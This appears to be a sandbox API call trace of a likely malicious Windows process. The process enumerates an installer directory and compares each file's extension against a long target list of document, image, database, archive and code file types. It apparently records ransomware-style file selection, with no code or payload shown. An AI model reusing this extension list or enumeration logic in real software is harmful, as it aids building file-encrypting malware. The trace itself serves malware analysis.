lstrlenW (lpString=".dng") returned 4 [0084.148] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0084.148] lstrlenW (lpString=".doc") returned 4 [0084.148] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.148] lstrlenW (lpString=".docm") returned 5 [0084.148] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0084.148] lstrlenW (lpString=".docx") returned 5 [0084.148] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.148] lstrlenW (lpString=".dot") returned 4 [0084.148] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0084.148] lstrlenW (lpString=".dotm") returned 5 [0084.148] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0084.148] lstrlenW (lpString=".dotx") returned 5 [0084.149] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0084.149] lstrlenW (lpString=".dpx") returned 4 [0084.149] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0084.149] lstrlenW (lpString=".dqy") returned 4 [0084.149] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0084.149] lstrlenW (lpString=".dsn") returned 4 [0084.149] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0084.149] lstrlenW (lpString=".dt") returned 3 [0084.149] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0084.149] lstrlenW (lpString=".dtd") returned 4 [0084.149] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0084.149] lstrlenW (lpString=".dwg") returned 4 [0084.149] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0084.149] lstrlenW (lpString=".dwt") returned 4 [0084.149] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0084.149] lstrlenW (lpString=".dx") returned 3 [0084.149] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0084.149] lstrlenW (lpString=".dxf") returned 4 [0084.149] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0084.149] lstrlenW (lpString=".edml") returned 5 [0084.149] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0084.149] lstrlenW (lpString=".efd") returned 4 [0084.149] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0084.149] lstrlenW (lpString=".elf") returned 4 [0084.149] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0084.149] lstrlenW (lpString=".emf") returned 4 [0084.149] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".emz") returned 4 [0084.150] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".epf") returned 4 [0084.150] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".eps") returned 4 [0084.150] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".epsf") returned 5 [0084.150] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0084.150] lstrlenW (lpString=".epsp") returned 5 [0084.150] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0084.150] lstrlenW (lpString=".erf") returned 4 [0084.150] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".exr") returned 4 [0084.150] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".f4v") returned 4 [0084.150] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".fido") returned 5 [0084.150] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0084.150] lstrlenW (lpString=".flm") returned 4 [0084.150] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".flv") returned 4 [0084.150] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".frm") returned 4 [0084.150] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".fxg") returned 4 [0084.150] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0084.150] lstrlenW (lpString=".geo") returned 4 [0084.151] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0084.151] lstrlenW (lpString=".gif") returned 4 [0084.151] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0084.151] lstrlenW (lpString=".grs") returned 4 [0084.151] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0084.151] lstrlenW (lpString=".gz") returned 3 [0084.151] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0084.151] lstrlenW (lpString=".h") returned 2 [0084.151] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0084.151] lstrlenW (lpString=".hdr") returned 4 [0084.151] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0084.151] lstrlenW (lpString=".hpp") returned 4 [0084.151] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0084.151] lstrlenW (lpString=".hta") returned 4 [0084.151] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0084.151] lstrlenW (lpString=".htc") returned 4 [0084.151] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0084.151] lstrlenW (lpString=".htm") returned 4 [0084.151] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0084.151] lstrlenW (lpString=".html") returned 5 [0084.151] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0084.151] lstrlenW (lpString=".icb") returned 4 [0084.151] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0084.151] lstrlenW (lpString=".ics") returned 4 [0084.151] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0084.151] lstrlenW (lpString=".iff") returned 4 [0084.151] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".inc") returned 4 [0084.152] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".indd") returned 5 [0084.152] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0084.152] lstrlenW (lpString=".ini") returned 4 [0084.152] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".iqy") returned 4 [0084.152] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".j2c") returned 4 [0084.152] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".j2k") returned 4 [0084.152] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".java") returned 5 [0084.152] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0084.152] lstrlenW (lpString=".jp2") returned 4 [0084.152] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".jpc") returned 4 [0084.152] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".jpe") returned 4 [0084.152] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".jpeg") returned 5 [0084.152] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0084.152] lstrlenW (lpString=".jpf") returned 4 [0084.152] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".jpg") returned 4 [0084.152] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.152] lstrlenW (lpString=".jpx") returned 4 [0084.153] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0084.153] lstrlenW (lpString=".js") returned 3 [0084.153] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0084.153] lstrlenW (lpString=".jsf") returned 4 [0084.153] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0084.153] lstrlenW (lpString=".json") returned 5 [0084.153] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0084.153] lstrlenW (lpString=".jsp") returned 4 [0084.153] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0084.153] lstrlenW (lpString=".kdc") returned 4 [0084.153] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0084.153] lstrlenW (lpString=".kmz") returned 4 [0084.153] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0084.153] lstrlenW (lpString=".kwm") returned 4 [0084.153] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0084.153] lstrlenW (lpString=".lasso") returned 6 [0084.153] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0084.153] lstrlenW (lpString=".lbi") returned 4 [0084.153] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0084.153] lstrlenW (lpString=".lgf") returned 4 [0084.153] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0084.153] lstrlenW (lpString=".lgp") returned 4 [0084.153] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0084.153] lstrlenW (lpString=".log") returned 4 [0084.153] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0084.153] lstrlenW (lpString=".m1v") returned 4 [0084.153] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".m4a") returned 4 [0084.154] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".m4v") returned 4 [0084.154] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".max") returned 4 [0084.154] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".md") returned 3 [0084.154] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0084.154] lstrlenW (lpString=".mda") returned 4 [0084.154] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".mdb") returned 4 [0084.154] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".mde") returned 4 [0084.154] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".mdf") returned 4 [0084.154] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".mdw") returned 4 [0084.154] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".mef") returned 4 [0084.154] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".mft") returned 4 [0084.154] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".mfw") returned 4 [0084.154] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".mht") returned 4 [0084.154] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0084.154] lstrlenW (lpString=".mhtml") returned 6 [0084.155] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0084.155] lstrlenW (lpString=".mka") returned 4 [0084.155] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".mkidx") returned 6 [0084.155] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0084.155] lstrlenW (lpString=".mkv") returned 4 [0084.155] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".mos") returned 4 [0084.155] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".mov") returned 4 [0084.155] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".mp3") returned 4 [0084.155] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".mp4") returned 4 [0084.155] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".mpeg") returned 5 [0084.155] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0084.155] lstrlenW (lpString=".mpg") returned 4 [0084.155] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".mpv") returned 4 [0084.155] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".mrw") returned 4 [0084.155] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".msg") returned 4 [0084.155] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".mxl") returned 4 [0084.155] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".myd") returned 4 [0084.155] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".myi") returned 4 [0084.155] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0084.155] lstrlenW (lpString=".nef") returned 4 [0084.156] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".nrw") returned 4 [0084.156] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".obj") returned 4 [0084.156] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".odb") returned 4 [0084.156] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".odc") returned 4 [0084.156] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".odm") returned 4 [0084.156] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".odp") returned 4 [0084.156] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".ods") returned 4 [0084.156] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".oft") returned 4 [0084.156] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".one") returned 4 [0084.156] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".onepkg") returned 7 [0084.156] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0084.156] lstrlenW (lpString=".onetoc2") returned 8 [0084.156] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0084.156] lstrlenW (lpString=".opt") returned 4 [0084.156] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".oqy") returned 4 [0084.156] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".orf") returned 4 [0084.156] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".p12") returned 4 [0084.156] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0084.156] lstrlenW (lpString=".p7b") returned 4 [0084.157] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".p7c") returned 4 [0084.157] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pam") returned 4 [0084.157] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pbm") returned 4 [0084.157] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pct") returned 4 [0084.157] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pcx") returned 4 [0084.157] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pdd") returned 4 [0084.157] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pdf") returned 4 [0084.157] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pdp") returned 4 [0084.157] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pef") returned 4 [0084.157] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pem") returned 4 [0084.157] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pff") returned 4 [0084.157] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pfm") returned 4 [0084.157] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pfx") returned 4 [0084.157] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".pgm") returned 4 [0084.157] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".php") returned 4 [0084.157] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0084.157] lstrlenW (lpString=".php3") returned 5 [0084.158] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0084.158] lstrlenW (lpString=".php4") returned 5 [0084.158] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0084.158] lstrlenW (lpString=".php5") returned 5 [0084.158] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0084.158] lstrlenW (lpString=".phtml") returned 6 [0084.158] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0084.158] lstrlenW (lpString=".pict") returned 5 [0084.158] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0084.158] lstrlenW (lpString=".pl") returned 3 [0084.158] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0084.158] lstrlenW (lpString=".pls") returned 4 [0084.158] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0084.158] lstrlenW (lpString=".pm") returned 3 [0084.158] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0084.158] lstrlenW (lpString=".png") returned 4 [0084.158] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0084.158] lstrlenW (lpString=".pnm") returned 4 [0084.158] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0084.158] lstrlenW (lpString=".pot") returned 4 [0084.158] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0084.158] lstrlenW (lpString=".potm") returned 5 [0084.158] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0084.158] lstrlenW (lpString=".potx") returned 5 [0084.158] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0084.158] lstrlenW (lpString=".ppa") returned 4 [0084.158] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0084.159] lstrlenW (lpString=".ppam") returned 5 [0084.159] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0084.159] lstrlenW (lpString=".ppm") returned 4 [0084.159] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0084.159] lstrlenW (lpString=".pps") returned 4 [0084.159] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0084.159] lstrlenW (lpString=".ppsm") returned 5 [0084.159] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0084.159] lstrlenW (lpString=".ppt") returned 4 [0084.159] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.159] lstrlenW (lpString=".pptm") returned 5 [0084.159] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0084.159] lstrlenW (lpString=".pptx") returned 5 [0084.159] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0084.159] lstrlenW (lpString=".prn") returned 4 [0084.159] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0084.159] lstrlenW (lpString=".ps") returned 3 [0084.159] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0084.159] lstrlenW (lpString=".psb") returned 4 [0084.159] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0084.159] lstrlenW (lpString=".psd") returned 4 [0084.159] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0084.159] lstrlenW (lpString=".pst") returned 4 [0084.159] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0084.159] lstrlenW (lpString=".ptx") returned 4 [0084.160] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0084.160] lstrlenW (lpString=".pub") returned 4 [0084.160] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0084.160] lstrlenW (lpString=".pwm") returned 4 [0084.160] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0084.160] lstrlenW (lpString=".pxr") returned 4 [0084.160] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0084.160] lstrlenW (lpString=".py") returned 3 [0084.160] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0084.426] lstrlenW (lpString=".qt") returned 3 [0084.426] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0084.426] lstrlenW (lpString=".r3d") returned 4 [0084.426] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0084.426] lstrlenW (lpString=".raf") returned 4 [0084.426] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0084.426] lstrlenW (lpString=".rar") returned 4 [0084.426] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.427] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0084.427] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.427] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.427] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0084.427] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0084.427] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0084.427] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0084.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26 [0084.427] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0084.428] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.428] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0084.428] lstrlenW (lpString="eula.rtf") returned 8 [0084.428] lstrlenW (lpString=".1cd") returned 4 [0084.428] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.428] lstrlenW (lpString=".3ds") returned 4 [0084.428] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0084.428] lstrlenW (lpString=".3fr") returned 4 [0084.428] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0084.428] lstrlenW (lpString=".3g2") returned 4 [0084.428] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0084.428] lstrlenW (lpString=".3gp") returned 4 [0084.428] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0084.428] lstrlenW (lpString=".7z") returned 3 [0084.428] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.428] lstrlenW (lpString=".accda") returned 6 [0084.428] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0084.429] lstrlenW (lpString=".accdb") returned 6 [0084.429] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0084.429] lstrlenW (lpString=".accdc") returned 6 [0084.429] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0084.429] lstrlenW (lpString=".accde") returned 6 [0084.429] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0084.429] lstrlenW (lpString=".accdt") returned 6 [0084.429] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0084.429] lstrlenW (lpString=".accdw") returned 6 [0084.429] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0084.429] lstrlenW (lpString=".adb") returned 4 [0084.429] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0084.429] lstrlenW (lpString=".adp") returned 4 [0084.429] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0084.429] lstrlenW (lpString=".ai") returned 3 [0084.429] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0084.429] lstrlenW (lpString=".ai3") returned 4 [0084.429] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0084.429] lstrlenW (lpString=".ai4") returned 4 [0084.429] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0084.429] lstrlenW (lpString=".ai5") returned 4 [0084.429] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0084.429] lstrlenW (lpString=".ai6") returned 4 [0084.429] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0084.429] lstrlenW (lpString=".ai7") returned 4 